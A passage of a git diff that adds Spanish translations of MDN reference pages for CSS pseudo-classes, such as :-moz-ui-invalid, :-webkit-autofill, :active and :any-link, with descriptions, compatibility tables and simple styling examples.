+{
+    margin: 2%;
+}
+</pre>
+
+<p>...donde...</p>
+
+<pre class="brush:html">  &lt;treerow properties="foo"&gt;...&lt;/treerow&gt;
+</pre>
diff --git a/files/es/web/css/_colon_-moz-tree-separator/index.html b/files/es/web/css/_colon_-moz-tree-separator/index.html
new file mode 100644
index 0000000000..c3d15f89f8
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-separator/index.html
@@ -0,0 +1,29 @@
+---
+title: ':-moz-tree-separator'
+slug: 'Web/CSS/:-moz-tree-separator'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-separator'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Activado por el atributo <code>properties</code>.</p>
+
+<h2 id="Elementos_asociados">Elementos asociados</h2>
+
+<ul>
+ <li>{{XULElem("treeseparator")}}</li>
+</ul>
+
+<h2 id="Propiedades_de_estilo">Propiedades de estilo</h2>
+
+<ul>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("display")}}</li>
+ <li>{{cssxref("-moz-appearance")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-tree-twisty/index.html b/files/es/web/css/_colon_-moz-tree-twisty/index.html
new file mode 100644
index 0000000000..80f03fadec
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-twisty/index.html
@@ -0,0 +1,33 @@
+---
+title: ':-moz-tree-twisty'
+slug: 'Web/CSS/:-moz-tree-twisty'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-twisty'
+---
+<p>{{ CSSRef() }}{{Non-standard_header}}</p>
+
+<p>Activado por el atributo <code>properties</code>.</p>
+
+<h2 id="Associated_Elements" name="Associated_Elements">Elementos asociados</h2>
+
+<ul>
+ <li>{{XULElem("treecell")}}</li>
+</ul>
+
+<h2 id="Style_Properties" name="Style_Properties">Propiedades de estilo</h2>
+
+<ul>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("display")}}</li>
+ <li>{{cssxref("list-style")}}</li>
+ <li>{{cssxref("position")}}</li>
+ <li>{{cssxref("-moz-appearance")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-ui-invalid/index.html b/files/es/web/css/_colon_-moz-ui-invalid/index.html
new file mode 100644
index 0000000000..6f12ca97a6
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-ui-invalid/index.html
@@ -0,0 +1,94 @@
+---
+title: ':-moz-ui-invalid'
+slug: 'Web/CSS/:-moz-ui-invalid'
+tags:
+  - CSS
+  - NeedsExample
+  - NeedsMobileBrowserCompatibility
+  - No estándar(2)
+  - Pseudo clase
+  - Referencia CSS
+translation_of: 'Web/CSS/:user-invalid'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase </a>CSS <code>:-moz-ui-invalid</code> representa cualquier elemento de los formularios que, en determinadas circunstancias, tiene  <a href="/en-US/docs/Web/Guide/HTML/Forms_in_HTML#Constraint_Validation">restricciones de validación </a>y no es válido. Esta pseudo-clase se aplica siguiendo la siguiente reglas::</p>
+
+<ul>
+ <li>Si el control no tiene el foco y el valor no es válido se aplica la pseudo-clase.</li>
+ <li>Si el control tiene el foco y el valor era válido (incluyendo si es un elemento vacío) cuando obtuvo el foco, no se aplica la pseudo-clase.</li>
+ <li>Si el control tiene el foco y el valor no era válido cuando obtuvo el foco, se recalcula la validez del valor con cada pulsación de teclado.</li>
+ <li>Si el elemento es obligatorio (requerido) sólo se aplican las reglas anteriores si el usuario ha cambiado el valor o ha intentando enviar los datos del formulario (hacer un "sbumit").</li>
+</ul>
+
+<p>El resultado es que si el control era válido cuando el usuario empezó a interactuar con él sólo se cambia el estilo de validación cuando el usuario cambia el foco hacia otro elemento. Sin embargo, si el usuario está corrigiendo un valor señalado anteriormente como no válido, el control muestra inmediatamente cuando el valor pasa a ser válido. A los elementos del formulario obligatorios se les aplica la pseudo-clase sólo si el usuario los cambia o si intenta enviar los datos del formulario (hacer "submit").</p>
+
+<p>Por defecto Gecko aplica un estilo que crear un brillo rojo "glow" (usando la propiedad{{Cssxref("box-shadow")}} ) alrededor de los elemento a los que se les aplica esta pseudo-clase. Ver la pseudo-clase {{Cssxref(":invalid")}} para poder observar un ejemplo que muestra como evitar este estilo por defecto.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref(":valid")}}</li>
+ <li>{{cssxref(":invalid")}}</li>
+ <li>{{cssxref(":required")}}</li>
+ <li>{{cssxref(":optional")}}</li>
+ <li>{{cssxref(":-moz-ui-valid")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-ui-valid/index.html b/files/es/web/css/_colon_-moz-ui-valid/index.html
new file mode 100644
index 0000000000..0e49681290
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-ui-valid/index.html
@@ -0,0 +1,94 @@
+---
+title: ':-moz-ui-valid'
+slug: 'Web/CSS/:-moz-ui-valid'
+tags:
+  - CSS
+  - NeedsExample
+  - NeedsMobileBrowserCompatibility
+  - No estándar(2)
+  - Pseudo clase CSS
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-ui-valid'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a><code> CSS:-moz-ui-valid</code> CSS representa cualquier elemento de un formulario cuyo valor es válido atendiendo a sus  <a href="/es/docs/Web/Guide/HTML/Forms_in_HTML#Constraint_Validation">restricciones de validación</a>.</p>
+
+<p>Se aplica siguiendo las siguientes reglas:</p>
+
+<ul>
+ <li>Se aplica la psuedo clase si el control no tiene el foco y el valor es válido.</li>
+ <li>Si el control tiene el foco y el valor era válido (esto incluye cuando está vacío), al obtener el foco de aplica la pseudo clase.</li>
+ <li>Si el control tiene el foco y el valor era inválido, una vez obtenido el foco se vuelve a validar cada vez que presionamos una tecla para ver si el nuevo valor es válido.</li>
+ <li>Si el elemento es requerido la reglas anteriores sólo se aplican si el usuario ha cambiado el valor o intenta enviar el formulario.</li>
+</ul>
+
+<p>El resultado es que, si el control era válido cuando el usuario empieza a interactuar con él, el estilo de validación sólo se cambia cuando el usuario cambia el foco a otro control. Sin embargo, si el usuario está intentando corregir un campo que previamente se ha marcado como un valor inválido, cuando el control sea ya correcto esto se mostrará de manera inmediata. Los elementos requeridos sólo se marcan como inválidos si el usuario lo cambia o si lo intenta enviar con un valor inválido.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref(":valid")}}</li>
+ <li>{{cssxref(":invalid")}}</li>
+ <li>{{cssxref(":required")}}</li>
+ <li>{{cssxref(":optional")}}</li>
+ <li>{{cssxref(":-moz-ui-invalid")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-user-disabled/index.html b/files/es/web/css/_colon_-moz-user-disabled/index.html
new file mode 100644
index 0000000000..b7749f1a29
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-user-disabled/index.html
@@ -0,0 +1,18 @@
+---
+title: ':-moz-user-disabled'
+slug: 'Web/CSS/:-moz-user-disabled'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-user-disabled'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-class </a><a href="/en-US/docs/Web/CSS">CSS </a><code>:-moz-user-disabled</code> selecciona imágenes que no fueron cargadas porque en las preferencias del usuario las imagenes han sido totalmente desahabilitadas.</p>
+
+<p>Está pensado para que, sobre todo, sea usado por desarrolladores de temas.</p>
diff --git a/files/es/web/css/_colon_-moz-window-inactive/index.html b/files/es/web/css/_colon_-moz-window-inactive/index.html
new file mode 100644
index 0000000000..e22e734842
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-window-inactive/index.html
@@ -0,0 +1,99 @@
+---
+title: ':-moz-window-inactive'
+slug: 'Web/CSS/:-moz-window-inactive'
+tags:
+  - CSS
+  - 'CSS:Extensiones Mozilla'
+  - NeedsMobileBrowserCompatibility
+  - No estándar(2)
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-window-inactive'
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase </a><a href="/es/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes"> </a><code>:-moz-window-inactive</code> selecciona cualquier elemento mientras está en una ventana inactiva.</p>
+
+<div class="note"><strong>Nota:</strong> Antes de añadir esta pseudo-clase, dar  dieferentes estilos a las ventanas de fondo podría lograrse con el atributo (<code>active="true"</code>) en la venta del nivel superior XUL. Este atributo ya no se usa.</div>
+
+<p><code>:-moz-window-inactive</code> funciona también en documentos de contenido HTML.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo modifica la apariencia del fondo de una caja dependiendo de si está o no en una ventana activa.</p>
+
+<pre class="brush: html">&lt;style type="text/css"&gt;
+#mybox {
+  background: linear-gradient(to bottom, blue, cyan);
+}
+
+#mybox:-moz-window-inactive {
+  background: cyan;
+}
+&lt;/style&gt;
+
+&lt;div id="mybox" style="width:200px; height:200px;"&gt;
+  &lt;p&gt;This is a box!&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Puedes verlo aquí en un <a href="/samples/cssref/moz-window-inactive.html">ejemplo en directo</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implementado en {{bug("508482")}}.</p>
diff --git a/files/es/web/css/_colon_-ms-input-placeholder/index.html b/files/es/web/css/_colon_-ms-input-placeholder/index.html
new file mode 100644
index 0000000000..a2be7fcf59
--- /dev/null
+++ b/files/es/web/css/_colon_-ms-input-placeholder/index.html
@@ -0,0 +1,111 @@
+---
+title: ':-ms-input-placeholder'
+slug: 'Web/CSS/:-ms-input-placeholder'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo clase CSS
+  - Referencia
+translation_of: 'Web/CSS/:placeholder-shown'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase </a>propietaria y no estándar  <code>:-ms-input-placeholder</code> representa el  <a href="/es/docs/Web/HTML/Forms_in_HTML#The_placeholder_attribute">texto del marcador de posición (placeholder) </a> de un elemento de un formulario. Esto permite personalizar el texto de los marcadores de posición (placeholders) a los desarrolladores web y a los diseñadores de temas. Sólo es soportada por los navegadores Internet Explorer y Microsoft Edge.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El siguiente ejemplo destaca con un estilo personalizado los campos <em>"Branch"</em> y código "<em>ID"</em>. El texto del marcardor de posición (placeholder) se muestra con un estilo hasta que el campo obtiene el foco, momento a partir del cual podemos escribir en él. Cuando el campo obtiene el foco vuelve a tener el estilo normal para un campo input y el texto del marcador de posición (placeholder) desaparece.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre>&lt;form id="test"&gt;
+  &lt;p&gt;&lt;label&gt;Enter Student Name: &lt;input id="name" placeholder="Student Name"/&gt;&lt;/label&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;label&gt;Enter Student Branch: &lt;input id="branch" placeholder="Student Branch" /&gt;&lt;/label&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;label&gt;Enter Student ID: &lt;input type="num" pattern="[0-9]{8}" title="8 digit ID" id="sid" class="studentid" placeholder="8 digit id" /&gt;&lt;/label&gt;&lt;/p&gt;
+  &lt;input type="submit" /&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input {
+   background-color:#E8E8E8;
+   color:black; }
+/* placeholder only style */
+input.studentid:-ms-input-placeholder {
+   font-style:italic;
+   color: red;
+   background-color: yellow;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12684/bandicam%202016-03-08%2001-48-59-851.jpg" style="border-style: solid; border-width: 1px; height: 160px; margin: 0px; width: 650px;"></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación aunque  Microsoft tiene <a href="https://msdn.microsoft.com/en-us/library/hh772745(v=vs.85).aspx">una descripción en MSDN.</a></p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("::placeholder")}}</li>
+ <li>{{cssxref("::-webkit-input-placeholder")}}</li>
+ <li>{{cssxref("::-moz-placeholder")}}</li>
+ <li><a href="/es/docs/Web/HTML/Forms_in_HTML">Formularios en HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-webkit-autofill/index.html b/files/es/web/css/_colon_-webkit-autofill/index.html
new file mode 100644
index 0000000000..98c1c68215
--- /dev/null
+++ b/files/es/web/css/_colon_-webkit-autofill/index.html
@@ -0,0 +1,80 @@
+---
+title: ':-webkit-autofill'
+slug: 'Web/CSS/:-webkit-autofill'
+tags:
+  - CSS
+  - NeedsExample
+  - No estándar(2)
+  - Pseudo-clase
+  - Referencia
+translation_of: 'Web/CSS/:-webkit-autofill'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase </a>CSS <code>:-webkit-autofill</code> CSS selecciona un elemento {{HTMLElement("input")}} cuando su valor es rellenado automáticamente por el navegador.</p>
+
+<p class="note"><strong>Nota:</strong> La hoja de estilos por defecto de muchos navegadores usan <code>!important</code> en sus declaraciones de estilo  <code>:-webkit-autofill</code> , haciendo que no puedan ser sobrescritos por páginas que no usen trucos JavaScript.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=46543">Asunto Chromium 46543: El realce con fondo amarillo de los campos input de texto con valor automático no puede ser deshabilitados.</a></li>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=66032">WebKit bug 66032: Permite a los autores sobrescribir los colores de los campos que se rellenan automáticamente.</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=740979">Mozilla bug 740979: implementar <code>la pseudo-clase :-moz-autofill</code> en elemento input con un valor de relleno automático.</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_active/index.html b/files/es/web/css/_colon_active/index.html
new file mode 100644
index 0000000000..7dc6934848
--- /dev/null
+++ b/files/es/web/css/_colon_active/index.html
@@ -0,0 +1,97 @@
+---
+title: ':active'
+slug: 'Web/CSS/:active'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:active'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-clase</a> <code>:active</code> de <a href="/es/docs/Web/CSS">CSS</a>  representa un elemento (como un botón) que el usuario está activando.  Cuando se usa un mouse, la "activación" generalmente comienza cuando el usuario presiona el botón primario del mouse y termina cuando se suelta. La pseudo-clase <code>:active</code> se usa comúnmente en los elementos {{HTMLElement("a")}} y {{HTMLElement("button")}}, pero también se puede usar en otros elementos.</p>
+
+<pre class="brush: css">/* Selecciona cualquier &lt;a&gt; que esté siendo activado */
+a:active {
+  color: red;
+}</pre>
+
+<p>Los estilos definidos por la pseudoclase <code>:active</code> serán anulados por cualquier pseudoclase posterior relacionada con el enlace ({{cssxref(":link")}}, {{cssxref(":hover")}} o {{cssxref(":visited")}}) que tenga al menos la misma especificidad. Para darle un estilo apropiado a los enlaces, coloque la regla <code>:active</code> después de todas las demás reglas relacionadas con el enlace, tal como lo define el orden LVHA: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p>
+
+<div class="note"><strong>Nota:</strong> En los sistemas con los ratones de varios botones, CSS3 especifica que la pseudo-clase <code>:active</code> sólo debe aplicarse al botón primario; en ratones diestros, este suele ser el botón más a la izquierda.</div>
+
+<h2 class="editable" id="Sintaxis">Sintaxis</h2>
+
+<pre>{{csssyntax}}</pre>
+
+<h2 class="editable" id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#"&gt;Este enlace cambiará a color lima mientras hace clic en él.&lt;/a&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a:link { color: blue; }          /* Enlaces no visitados */
+a:visited { color: purple; }     /* Enlaces visitados */
+a:hover { background: yellow; }  /* El usuario esta sobre el enlace */
+a:active { color: lime; }        /* Enlaces activos */
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplo')}}</p>
+
+<h2 class="editable" id="Especificaciones"><span>Especificaciones</span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("css.selectors.active")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Pseudo-clases relacionadas con enlaces: {{cssxref(":link")}}, {{cssxref(":visited")}}, y {{cssxref(":hover")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_any-link/index.html b/files/es/web/css/_colon_any-link/index.html
new file mode 100644
index 0000000000..00c8a94bda
--- /dev/null
+++ b/files/es/web/css/_colon_any-link/index.html
@@ -0,0 +1,78 @@
+---
+title: ':any-link'
+slug: 'Web/CSS/:any-link'
+tags:
+  - CSS
+  - Diseño
+  - Experimental
+  - Presentación
+  - Pseudo-Clase CSS
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:any-link'
+---
+<div>{{CSSRef}} {{SeeCompatTable}}</div>
+
+<div>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <code>:any-link</code> de <a href="/es/docs/Web/CSS">CSS</a> representa a un elemento que actúa como el ancla origen de un hipervínculo independientemente de si ha sido visitado, es decir, coincide con cualquier elemento {{HTMLElement("a")}}, {{HTMLElement("area")}} o {{HTMLElement("link")}} con un atributo <code>href</code>. Por lo tanto, coincide con todos los elementos que coincidan con {{cssxref(":link")}} o {{cssxref(":visited")}}.</div>
+
+<div></div>
+
+<pre class="brush: css"><code>/* Selecciona cualquier elemento que coincida con :link o :visited */
+:any-link {
+  color: green;
+}</code></pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="https://example.com"&gt;Enlace externo&lt;/a&gt;&lt;br&gt;
+&lt;a href="#"&gt;Enlace de destino interno&lt;/a&gt;&lt;br&gt;
+&lt;a&gt;Enlace de marcador de posición (no se personalizará)&lt;/a&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a:any-link {
+  border: 1px solid blue;
+  color: orange;
+}
+
+/* navegadores WebKit */
+a:-webkit-any-link {
+  border: 1px solid blue;
+  color: orange;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplo')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-any-link-pseudo", ":any-link")}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("css.selectors.any-link")}}</p>
+
+<div id="compat-mobile"></div>
diff --git a/files/es/web/css/_colon_any/index.html b/files/es/web/css/_colon_any/index.html
new file mode 100644
index 0000000000..b65249dfe3
--- /dev/null
+++ b/files/es/web/css/_colon_any/index.html
@@ -0,0 +1,186 @@
+---
+title: ':any'
+slug: 'Web/CSS/:any'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-Clase CSS
+  - Referencia
+translation_of: 'Web/CSS/:is'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La <a href="/es/docs/CSS/Pseudo-classes" title="CSS/Pseudo-classes">pseudo-clase</a> <code>:any()</code> permite construir rápidamente conjuntos de selectores similares estableciendo grupos desde los que cualquier elemento incluido coincidirá. Es una alternativa a tener que repetir el selector completo por uno de los elementos que va a variar.</p>
+
